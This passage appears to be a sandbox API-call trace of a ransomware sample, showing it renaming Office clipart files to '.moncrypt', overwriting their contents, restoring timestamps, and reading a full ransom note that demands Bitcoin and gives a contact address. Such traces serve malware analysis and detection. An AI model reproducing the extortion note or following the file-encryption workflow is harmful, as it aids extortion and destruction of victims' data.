ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 1 [0060.158] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.158] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.158] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.158] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.158] GlobalUnlock (hMem=0x44000c) returned 0 [0060.158] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.158] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.158] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.158] GlobalUnlock (hMem=0x44000c) returned 0 [0060.158] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.158] GlobalUnlock (hMem=0x440004) returned 0 [0060.158] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.158] CharLowerBuffW (in: lpsz="AN04174_.WMF", cchLength=0xc | out: lpsz="an04174_.wmf") returned 0xc [0060.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.158] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.159] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.159] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.159] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04174_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.159] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04174_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.159] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.159] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.159] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.160] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF", dwFileAttributes=0x20) returned 1 [0060.169] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.moncrypt")) returned 1 [0060.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0xa4c [0060.170] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.170] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0xa4c, lpOverlapped=0x0) returned 1 [0060.171] GlobalLock (hMem=0x440004) returned 0x550170 [0060.171] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.171] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.172] GlobalUnlock (hMem=0x440004) returned 0 [0060.172] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.172] GlobalUnlock (hMem=0x44000c) returned 0 [0060.172] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.172] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.172] GlobalUnlock (hMem=0x44000c) returned 0 [0060.172] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.172] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0xa60, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0xa60, lpOverlapped=0x0) returned 1 [0060.172] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.172] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.272] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0060.272] CloseHandle (hObject=0x188) returned 1 [0060.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.273] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0060.273] CloseHandle (hObject=0x188) returned 1 [0060.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0060.273] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0060.274] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.274] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.274] GlobalUnlock (hMem=0x44000c) returned 0 [0060.274] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.274] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.274] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.274] GlobalUnlock (hMem=0x44000c) returned 0 [0060.274] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.274] GlobalUnlock (hMem=0x440004) returned 0 [0060.274] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0060.274] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0060.274] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0060.274] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0060.274] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0060.275] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0060.275] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0060.275] CloseHandle (hObject=0x188) returned 1 [0060.275] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 1 [0060.275] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0060.275] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0060.275] GlobalLock (hMem=0x440004) returned 0x550170 [0060.275] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.275] GlobalUnlock (hMem=0x440004) returned 0 [0060.276] GlobalLock (hMem=0x440004) returned 0x550170 [0060.276] GlobalLock (hMem=0x44000c) returned 0x557b78 [0060.276] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.276] GlobalUnlock (hMem=0x440004) returned 0 [0060.276] GlobalHandle (pMem=0x557b78) returned 0x44000c [0060.276] GlobalUnlock (hMem=0x44000c) returned 0 [0060.276] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0060.276] CharLowerBuffW (in: lpsz="AN04191_.WMF", cchLength=0xc | out: lpsz="an04191_.wmf") returned 0xc [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="9", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0060.276] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0060.276] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", lpUsedDefaultChar=0x0) returned 63 [0060.277] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0060.277] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN04191_.WMF", lpUsedDefaultChar=0x0) returned 4 [0060.277] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04191_.WMF", cAlternateFileName="")) returned 0x54e240 [0060.277] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0060.277] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0060.277] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0060.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF", dwFileAttributes=0x20) returned 1 [0060.278] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0060.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.moncrypt")) returned 1 [0060.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0060.279] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.279] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x19ec [0060.279] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0060.279] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x19ec, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x19ec, lpOverlapped=0x0) returned 1 [0060.313] GlobalLock (hMem=0x44000c) returned 0x550170 [0060.313] GlobalLock (hMem=0x440004) returned 0x557b78 [0060.313] GlobalHandle (pMem=0x550170) returned 0x44000c [0060.313] GlobalUnlock (hMem=0x44000c) returned 0 [0060.313] GlobalHandle (pMem=0x557b78) returned 0x440004 [0060.313] GlobalUnlock (hMem=0x440004) returned 0 [0060.313] GlobalLock (hMem=0x440004) returned 0x550170 [0060.313] GlobalHandle (pMem=0x550170) returned 0x440004 [0060.313] GlobalUnlock (hMem=0x440004) returned 0 [0060.313] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0060.313] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x1a00, lpOverlapped=0x0) returned 1 [0060.314] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0060.314] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d08*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d08*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0060.325] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, 